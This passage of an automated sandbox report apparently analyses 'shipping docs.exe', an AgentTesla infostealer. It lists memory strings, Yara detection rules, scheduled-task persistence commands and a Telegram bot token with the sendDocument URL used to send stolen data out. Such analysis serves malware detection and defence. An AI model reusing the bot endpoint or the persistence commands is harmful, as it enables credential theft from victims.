Source: shipping docs.exe, 00000000.00000003.241799498.00000000054AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnu-h
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.243601775.0000000005474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: shipping docs.exe, 00000000.00000003.243601775.0000000005474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/$
Source: shipping docs.exe, 00000000.00000003.243601775.0000000005474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/=
Source: shipping docs.exe, 00000000.00000003.243601775.0000000005474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/Y
Source: shipping docs.exe, 00000000.00000003.243601775.0000000005474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/
Source: shipping docs.exe, 00000000.00000003.243601775.0000000005474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/jp/O
Source: shipping docs.exe, 00000000.00000003.243601775.0000000005474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/ko
Source: shipping docs.exe, 00000000.00000003.239908062.0000000005493000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240179699.0000000005493000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240220486.0000000005493000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.239881609.0000000005491000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240113755.0000000005493000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.s.$
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240049534.0000000005494000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.239908062.0000000005493000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240150934.0000000005494000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240179699.0000000005493000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240220486.0000000005493000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.239973997.0000000005494000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240136652.0000000005494000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.239881609.0000000005491000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.239942097.0000000005494000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240113755.0000000005493000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240076834.0000000005494000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: shipping docs.exe, 00000000.00000003.239908062.0000000005493000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240179699.0000000005493000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240220486.0000000005493000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.239881609.0000000005491000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240113755.0000000005493000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.comteP$
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: shipping docs.exe, 00000000.00000003.241289310.0000000005479000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.krT
Source: shipping docs.exe, 00000000.00000003.241289310.0000000005479000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.krigh
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240459510.000000000548B000.00000004.00000800.00020000.00000000.sdmp, shipping docs.exe, 00000000.00000003.240423951.000000000548B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: shipping docs.exe, 00000000.00000002.279908957.0000000006732000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: VMqTMMD.exe, 00000015.00000002.533512375.00000000031B2000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.534481256.00000000031E8000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.534906198.0000000003201000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://JIQ1JKgQReGyOBe.com
Source: shipping docs.exe, 00000003.00000002.534292549.0000000003336000.00000004.00000800.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000012.00000002.537543749.000000000349A000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.534577687.00000000031EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: shipping docs.exe, 00000003.00000002.518422910.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000012.00000002.520653491.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot5676971476:AAFdGsXW8kwzXNIluAGV-a4sJ2XBy68O9WI/
Source: VMqTMMD.exe, 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot5676971476:AAFdGsXW8kwzXNIluAGV-a4sJ2XBy68O9WI/1644584536%discordapi%yyy
Source: shipping docs.exe, 00000003.00000002.534292549.0000000003336000.00000004.00000800.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000012.00000002.537543749.000000000349A000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.534577687.00000000031EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot5676971476:AAFdGsXW8kwzXNIluAGV-a4sJ2XBy68O9WI/sendDocument
Source: shipping docs.exe, 00000003.00000002.534292549.0000000003336000.00000004.00000800.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000012.00000002.537543749.000000000349A000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.534577687.00000000031EE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org4
Source: shipping docs.exe, 00000003.00000002.518422910.0000000002FA1000.00000004.00000800.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000012.00000002.520653491.00000000030C1000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.518773451.0000000002E61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www

Source: unknown

HTTP traffic detected: POST /bot5676971476:AAFdGsXW8kwzXNIluAGV-a4sJ2XBy68O9WI/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8dad24f67b2ac65Host: api.telegram.orgContent-Length: 1006Expect: 100-continueConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: api.telegram.org

Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.3:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.3:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.3:49701 version: TLS 1.2

Source: VMqTMMD.exe, 0000000E.00000002.340414070.00000000010F8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.0.shipping docs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 3.0.shipping docs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 0.2.shipping docs.exe.35d2730.0.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 0.2.shipping docs.exe.35d2730.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 0.2.shipping docs.exe.35d2730.0.raw.unpack, type: UNPACKEDPE	Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 0.2.shipping docs.exe.35d2730.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 00000000.00000002.270616747.00000000034A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: 00000003.00000000.262419819.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: Process Memory Space: shipping docs.exe PID: 2400, type: MEMORYSTR	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown
Source: Process Memory Space: shipping docs.exe PID: 3776, type: MEMORYSTR	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f Author: unknown

.NET source code contains very large array initializations

Source: 3.0.shipping docs.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007b3C2C41D0u002d332Cu002d4962u002d9787u002d6AE70BED21B1u007d/u003373B1236u002d2AE2u002d49F0u002d9CFAu002dD6A6068282F0.cs

Large array initialization: .cctor: array initializer size 10969

Source: shipping docs.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 3.0.shipping docs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 3.0.shipping docs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 0.2.shipping docs.exe.35d2730.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 0.2.shipping docs.exe.35d2730.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 0.2.shipping docs.exe.35d2730.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 0.2.shipping docs.exe.35d2730.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 00000000.00000002.270616747.00000000034A9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: 00000003.00000000.262419819.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: Process Memory Space: shipping docs.exe PID: 2400, type: MEMORYSTR	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: Process Memory Space: shipping docs.exe PID: 3776, type: MEMORYSTR	Matched rule: Windows_Trojan_AgentTesla_d3ac2b2f reference_sample = 65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4, os = windows, severity = x86, creation_date = 2021-03-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.AgentTesla, fingerprint = cbbb56fe6cd7277ae9595a10e05e2ce535a4e6bf205810be0bbce3a883b6f8bc, id = d3ac2b2f-14fc-4851-8a57-41032e386aeb, last_modified = 2022-06-20
Source: Process Memory Space: VMqTMMD.exe PID: 1280, type: MEMORYSTR	Matched rule: webshell_jsp_generic_base64 date = 2021/01/24, author = Arnim Rupp, description = Generic JSP webshell with base64 encoded payload, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, hash = 1b916afdd415dfa4e77cecf47321fd676ba2184d

Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 0_2_00B7E2D8	0_2_00B7E2D8
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 0_2_00B7E2C8	0_2_00B7E2C8
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 0_2_00B7BFC4	0_2_00B7BFC4
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 0_2_04483635	0_2_04483635
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 0_2_04480040	0_2_04480040
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 0_2_044813D0	0_2_044813D0
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 0_2_04485C18	0_2_04485C18
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 0_2_04481658	0_2_04481658
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 0_2_04481668	0_2_04481668
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 0_2_04486628	0_2_04486628
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 0_2_04480800	0_2_04480800
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 0_2_04480006	0_2_04480006
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 0_2_04480810	0_2_04480810
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 0_2_044810A1	0_2_044810A1
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 0_2_044810B0	0_2_044810B0
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 0_2_044813C1	0_2_044813C1
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 0_2_04A465B8	0_2_04A465B8
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 0_2_04A465A9	0_2_04A465A9
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_02DFFA00	3_2_02DFFA00
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_02DF6C00	3_2_02DF6C00
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_061F7E1A	3_2_061F7E1A
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_061F8818	3_2_061F8818
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_061F0040	3_2_061F0040
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_061F0910	3_2_061F0910
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_061F29F8	3_2_061F29F8
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_066F0040	3_2_066F0040
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_066F1850	3_2_066F1850
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_066F7010	3_2_066F7010
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_066FA8B8	3_2_066FA8B8
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_066F4168	3_2_066F4168
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_066F89A0	3_2_066F89A0
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_066F6FBD	3_2_066F6FBD
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_066FCC28	3_2_066FCC28
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_066F4018	3_2_066F4018
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_0684F240	3_2_0684F240
Source: C:\Users\user\Desktop\shipping docs.exe	Code function: 3_2_0684C7C8	3_2_0684C7C8

Source: shipping docs.exe, 00000000.00000002.265751138.00000000024F8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMajorRevision.exe< vs shipping docs.exe
Source: shipping docs.exe, 00000000.00000002.265489624.0000000002481000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename8c0e5951-f0e7-4ebf-a643-3c2760ac7891.exe4 vs shipping docs.exe
Source: shipping docs.exe, 00000000.00000002.282085594.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMajorRevision.exe< vs shipping docs.exe
Source: shipping docs.exe, 00000000.00000002.270616747.00000000034A9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename8c0e5951-f0e7-4ebf-a643-3c2760ac7891.exe4 vs shipping docs.exe
Source: shipping docs.exe, 00000000.00000000.236877884.00000000001D6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameV3VSkFfg.exe8 vs shipping docs.exe
Source: shipping docs.exe, 00000003.00000002.503928846.0000000000DD8000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs shipping docs.exe
Source: shipping docs.exe, 00000003.00000000.262634318.0000000000438000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilename8c0e5951-f0e7-4ebf-a643-3c2760ac7891.exe4 vs shipping docs.exe
Source: shipping docs.exe	Binary or memory string: OriginalFilenameV3VSkFfg.exe8 vs shipping docs.exe

Source: shipping docs.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: yVGAJfiVEvtg.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: VMqTMMD.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: shipping docs.exe	ReversingLabs: Detection: 73%
Source: shipping docs.exe	Virustotal: Detection: 47%

Source: C:\Users\user\Desktop\shipping docs.exe

File read: C:\Users\user\Desktop\shipping docs.exe

Jump to behavior

Source: shipping docs.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\shipping docs.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\shipping docs.exe C:\Users\user\Desktop\shipping docs.exe
Source: C:\Users\user\Desktop\shipping docs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVGAJfiVEvtg" /XML "C:\Users\user\AppData\Local\Temp\tmp7934.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\shipping docs.exe	Process created: C:\Users\user\Desktop\shipping docs.exe {path}
Source: unknown	Process created: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe "C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe "C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe"
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVGAJfiVEvtg" /XML "C:\Users\user\AppData\Local\Temp\tmpF5B7.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process created: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe {path}
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVGAJfiVEvtg" /XML "C:\Users\user\AppData\Local\Temp\tmp3418.tmp
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process created: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe {path}
Source: C:\Users\user\Desktop\shipping docs.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVGAJfiVEvtg" /XML "C:\Users\user\AppData\Local\Temp\tmp7934.tmp	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Process created: C:\Users\user\Desktop\shipping docs.exe {path}	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVGAJfiVEvtg" /XML "C:\Users\user\AppData\Local\Temp\tmpF5B7.tmp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Process created: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe {path}	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVGAJfiVEvtg" /XML "C:\Users\user\AppData\Local\Temp\tmp3418.tmp
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Process created: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe {path}

Source: C:\Users\user\Desktop\shipping docs.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\shipping docs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\shipping docs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\shipping docs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\shipping docs.exe

File created: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe

Jump to behavior

Source: C:\Users\user\Desktop\shipping docs.exe

File created: C:\Users\user\AppData\Local\Temp\tmp7934.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@19/9@3/2

Source: C:\Users\user\Desktop\shipping docs.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: shipping docs.exe, 00000003.00000002.533196722.00000000032F7000.00000004.00000800.00020000.00000000.sdmp, yVGAJfiVEvtg.exe, 00000012.00000002.536517685.000000000345B000.00000004.00000800.00020000.00000000.sdmp, VMqTMMD.exe, 00000015.00000002.533441099.00000000031AD000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: shipping docs.exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
Source: C:\Users\user\Desktop\shipping docs.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\Desktop\shipping docs.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\yVGAJfiVEvtg.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VMqTMMD\VMqTMMD.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
